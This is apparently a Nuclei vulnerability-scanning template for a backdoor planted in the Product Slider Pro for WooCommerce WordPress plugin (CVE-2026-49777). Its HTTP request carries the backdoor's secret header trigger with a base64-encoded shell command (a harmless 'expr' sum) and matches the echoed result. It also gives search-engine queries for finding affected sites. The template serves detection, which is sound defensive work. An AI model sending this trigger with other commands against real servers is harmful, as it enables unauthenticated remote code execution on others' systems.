id: CVE-2026-49777 info: name: WordPress Product Slider Pro for WooCommerce < 3.5.4 - Supply Chain Backdoor RCE author: DhiyaneshDk severity: critical description: | Improper Validation of Specified Quantity in Input vulnerability in ShapedPlugin, LLC Product Slider Pro for WooCommerce allows Malicious Software Implanted. This issue affects Product Slider Pro for WooCommerce: from n/a before 3.5.4. impact: | Attackers can implant malicious software, potentially compromising the system or data integrity. remediation: | Apply the vendor's patch or update to the latest fixed version when available. reference: - https://patchstack.com/database/wordpress/plugin/woo-product-slider-pro/vulnerability/wordpress-product-slider-pro-for-woocommerce-plugin-3-5-2-backdoor-vulnerability - https://patchstack.com/articles/critical-supply-chain-compromise-in-smart-slider-3-pro-full-malware-analysis/ - https://nvd.nist.gov/vuln/detail/CVE-2026-49777 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cve-id: CVE-2026-49777 epss-score: 0.01656 epss-percentile: 0.7416 cwe-id: CWE-506 metadata: verified: true max-request: 1 vendor: shapedplugin product: product_slider_pro_for_woocommerce framework: wordpress shodan-query: http.component:"WordPress" fofa-query: body="wp-content/plugins/woo-product-slider-pro" tags: cve,cve2026,wordpress,wp-plugin,backdoor,rce,supply-chain,woocommerce,unauth,shapedplugin,vkev variables: a: "{{rand_int(10000, 99999)}}" b: "{{rand_int(10000, 99999)}}" http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} X-Cache-Status: nw9xQmK4 X-Cache-Key: {{base64("expr " + a + " + " + b)}} matchers-condition: and matchers: - type: word part: body words: - "{{to_number(a)+to_number(b)}}" - type: dsl dsl: - "status_code == 200" - "contains(content_type, 'text/plain')" condition: and extractors: - type: dsl dsl: - "body" # digest: 4b0a00483046022100c79f5d11fdde2134fff84a81dbbcf789d422e5da1f1814f25d77e4d72349309d022100da23a7541766c44e7b7ca9a16e4f64099ff6a1d378c9402c0973ed0760b9f210:922c64590222798bb761d5b6d8e72950